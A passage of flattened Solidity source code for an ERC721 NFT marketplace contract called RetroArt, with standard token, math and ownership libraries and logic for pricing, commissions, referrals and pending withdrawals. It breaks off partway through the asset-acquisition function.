-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts\Common\ERC165.sol pragma solidity ^0.5.0; /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // File: contracts\ERC721\ERC721Basic.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) public; } // File: contracts\ERC721\ERC721.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string memory _name); function symbol() external view returns (string memory _symbol); function tokenURI(uint256 _tokenId) public view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // File: contracts\ERC721\ERC721Receiver.sol pragma solidity ^0.5.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes memory _data ) public returns(bytes4); } // File: contracts\Common\SafeMath.sol pragma solidity ^0.5.0; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts\Common\AddressUtils.sol pragma solidity ^0.5.0; /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // File: contracts\Common\SupportsInterfaceWithLookup.sol pragma solidity ^0.5.0; /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } // File: contracts\ERC721\ERC721BasicToken.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 private constant ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) public { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes memory _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } // File: contracts\ERC721\ERC721Token.sol pragma solidity ^0.5.0; /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(string memory _name, string memory _symbol) public { name_ = _name; symbol_ = _symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string memory) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string memory) { return symbol_; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string memory) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string memory _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); // To prevent a gap in the array, we store the last token in the index of the token to delete, and // then delete the last slot. uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; // This also deletes the contents at the last position of the array ownedTokens[_from].length--; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Clear metadata (if any) if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } // File: contracts\PriceRecord.sol pragma solidity ^0.5.0; library RecordKeeping { struct priceRecord { uint256 price; address owner; uint256 timestamp; } } // File: contracts\Common\Ownable.sol pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts\Withdrawable.sol pragma solidity ^0.5.0; /// @title Withdrawable /// @dev /// @notice contract Withdrawable is Ownable { // _changeType is used to indicate the type of the transaction // 0 - normal withdraw // 1 - deposit from selling asset // 2 - deposit from profit sharing of new token // 3 - deposit from auction // 4 - failed auction refund // 5 - referral commission event BalanceChanged(address indexed _owner, int256 _change, uint256 _balance, uint8 _changeType); mapping (address => uint256) internal pendingWithdrawals; //total pending amount uint256 internal totalPendingAmount; function _deposit(address addressToDeposit, uint256 amount, uint8 changeType) internal{ if (amount > 0) { _depositWithoutEvent(addressToDeposit, amount); emit BalanceChanged(addressToDeposit, int256(amount), pendingWithdrawals[addressToDeposit], changeType); } } function _depositWithoutEvent(address addressToDeposit, uint256 amount) internal{ pendingWithdrawals[addressToDeposit] += amount; totalPendingAmount += amount; } function getBalance(address addressToCheck) public view returns (uint256){ return pendingWithdrawals[addressToCheck]; } function withdrawOwnFund(address payable recipient_address) public { require(msg.sender==recipient_address); uint amount = pendingWithdrawals[recipient_address]; require(amount > 0); // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[recipient_address] = 0; totalPendingAmount -= amount; recipient_address.transfer(amount); emit BalanceChanged(recipient_address, -1 * int256(amount), 0, 0); } function checkAvailableContractBalance() public view returns (uint256){ if (address(this).balance > totalPendingAmount){ return address(this).balance - totalPendingAmount; } else{ return 0; } } function withdrawContractFund(address payable recipient_address) public onlyOwner { uint256 amountToWithdraw = checkAvailableContractBalance(); if (amountToWithdraw > 0){ recipient_address.transfer(amountToWithdraw); } } } // File: contracts\ERC721WithState.sol pragma solidity ^0.5.0; contract ERC721WithState is ERC721BasicToken { mapping (uint256 => uint8) internal tokenState; event TokenStateSet(uint256 indexed _tokenId, uint8 _state); function setTokenState(uint256 _tokenId, uint8 _state) public { require(isApprovedOrOwner(msg.sender, _tokenId)); require(exists(_tokenId)); tokenState[_tokenId] = _state; emit TokenStateSet(_tokenId, _state); } function getTokenState(uint256 _tokenId) public view returns (uint8){ require(exists(_tokenId)); return tokenState[_tokenId]; } } // File: contracts\RetroArt.sol pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; contract RetroArt is ERC721Token, Ownable, Withdrawable, ERC721WithState { address public stemTokenContractAddress; uint256 public currentPrice; uint256 constant initiailPrice = 0.03 ether; //new asset price increase at the rate that determined by the variable below //it is caculated from the current price + (current price / ( price rate * totalTokens / slowDownRate )) uint public priceRate = 10; uint public slowDownRate = 7; //Commission will be charged if a profit is made //Commission is the pure profit / profit Commission // measured in basis points (1/100 of a percent) // Values 0-10,000 map to 0%-100% uint public profitCommission = 500; //the referral percentage of the commission of selling of aset // measured in basis points (1/100 of a percent) // Values 0-10,000 map to 0%-100% uint public referralCommission = 3000; //share will be given to all tokens equally if a new asset is acquired. //the amount of total shared value is assetValue/sharePercentage // measured in basis points (1/100 of a percent) // Values 0-10,000 map to 0%-100% uint public sharePercentage = 3000; //number of shares for acquiring new asset. uint public numberOfShares = 10; string public uriPrefix =""; // Mapping from owner to list of owned token IDs mapping (uint256 => string) internal tokenTitles; mapping (uint256 => RecordKeeping.priceRecord) internal initialPriceRecords; mapping (uint256 => RecordKeeping.priceRecord) internal lastPriceRecords; mapping (uint256 => uint256) internal currentTokenPrices; event AssetAcquired(address indexed _owner, uint256 indexed _tokenId, string _title, uint256 _price); event TokenPriceSet(uint256 indexed _tokenId, uint256 _price); event TokenBrought(address indexed _from, address indexed _to, uint256 indexed _tokenId, uint256 _price); event PriceRateChanged(uint _priceRate); event SlowDownRateChanged(uint _slowDownRate); event ProfitCommissionChanged(uint _profitCommission); event MintPriceChanged(uint256 _price); event SharePercentageChanged(uint _sharePercentage); event NumberOfSharesChanged(uint _numberOfShares); event ReferralCommissionChanged(uint _referralCommission); event Burn(address indexed _owner, uint256 _tokenId); bytes4 private constant InterfaceId_RetroArt = 0x94fb30be; /* bytes4(keccak256("buyTokenFrom(address,address,uint256)"))^ bytes4(keccak256("setTokenPrice(uint256,uint256)"))^ bytes4(keccak256("setTokenState(uint256,uint8)"))^ bytes4(keccak256("getTokenState(uint256)")); */ address[] internal auctionContractAddresses; function tokenTitle(uint256 _tokenId) public view returns (string memory) { require(exists(_tokenId)); return tokenTitles[_tokenId]; } function lastPriceOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return lastPriceRecords[_tokenId].price; } function lastTransactionTimeOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return lastPriceRecords[_tokenId].timestamp; } function firstPriceOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return initialPriceRecords[_tokenId].price; } function creatorOf(uint256 _tokenId) public view returns (address) { require(exists(_tokenId)); return initialPriceRecords[_tokenId].owner; } function firstTransactionTimeOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return initialPriceRecords[_tokenId].timestamp; } //problem with current web3.js that can't return an array of struct function lastHistoryOf(uint256 _tokenId) internal view returns (RecordKeeping.priceRecord storage) { require(exists(_tokenId)); return lastPriceRecords[_tokenId]; } function firstHistoryOf(uint256 _tokenId) internal view returns (RecordKeeping.priceRecord storage) { require(exists(_tokenId)); return initialPriceRecords[_tokenId]; } function setPriceRate(uint _priceRate) public onlyOwner { priceRate = _priceRate; emit PriceRateChanged(priceRate); } function setSlowDownRate(uint _slowDownRate) public onlyOwner { slowDownRate = _slowDownRate; emit SlowDownRateChanged(slowDownRate); } function setprofitCommission(uint _profitCommission) public onlyOwner { require(_profitCommission <= 10000); profitCommission = _profitCommission; emit ProfitCommissionChanged(profitCommission); } function setSharePercentage(uint _sharePercentage) public onlyOwner { require(_sharePercentage <= 10000); sharePercentage = _sharePercentage; emit SharePercentageChanged(sharePercentage); } function setNumberOfShares(uint _numberOfShares) public onlyOwner { numberOfShares = _numberOfShares; emit NumberOfSharesChanged(numberOfShares); } function setReferralCommission(uint _referralCommission) public onlyOwner { require(_referralCommission <= 10000); referralCommission = _referralCommission; emit ReferralCommissionChanged(referralCommission); } function setUriPrefix(string memory _uri) public onlyOwner { uriPrefix = _uri; } //use the token name, symbol as usual //this contract create another ERC20 as stemToken, //the constructure takes the stemTokenName and stemTokenSymbol constructor(string memory _name, string memory _symbol , address _stemTokenAddress) ERC721Token(_name, _symbol) Ownable() public { currentPrice = initiailPrice; stemTokenContractAddress = _stemTokenAddress; _registerInterface(InterfaceId_RetroArt); } function getAllAssets() public view returns (uint256[] memory){ return allTokens; } function getAllAssetsForSale() public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsForSale(address _owner) public view returns (uint256[] memory) { uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsByState(uint8 _state) public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint matchCount = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchCount++; } } uint256[] memory matchedTokens = new uint256[](matchCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchedTokens[j] = allTokens[i]; j++; } } return matchedTokens; } function acquireAsset(uint256 _tokenId, string memory _title) public payable{ acquireAssetWithReferral(_tokenId, _title, address(0)); } function acquireAssetFromStemToken(address _tokenOwner, uint256 _tokenId, string calldata _title) external { require(msg.sender == stemTokenContractAddress); _acquireAsset(_tokenId, _title, _tokenOwner, 0); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { //turn off events if there are too many tokens in the loop if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); }else{ _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } }else{ if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); }else{ _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } function _acquireAsset(uint256 _tokenId, string memory _title, address _purchaser, uint256 _value) internal { currentPrice = CalculateNextPrice(); _mint(_purchaser, _tokenId); tokenTitles[_tokenId] = _title; RecordKeeping.priceRecord memory pr = RecordKeeping.priceRecord(_value, _purchaser, 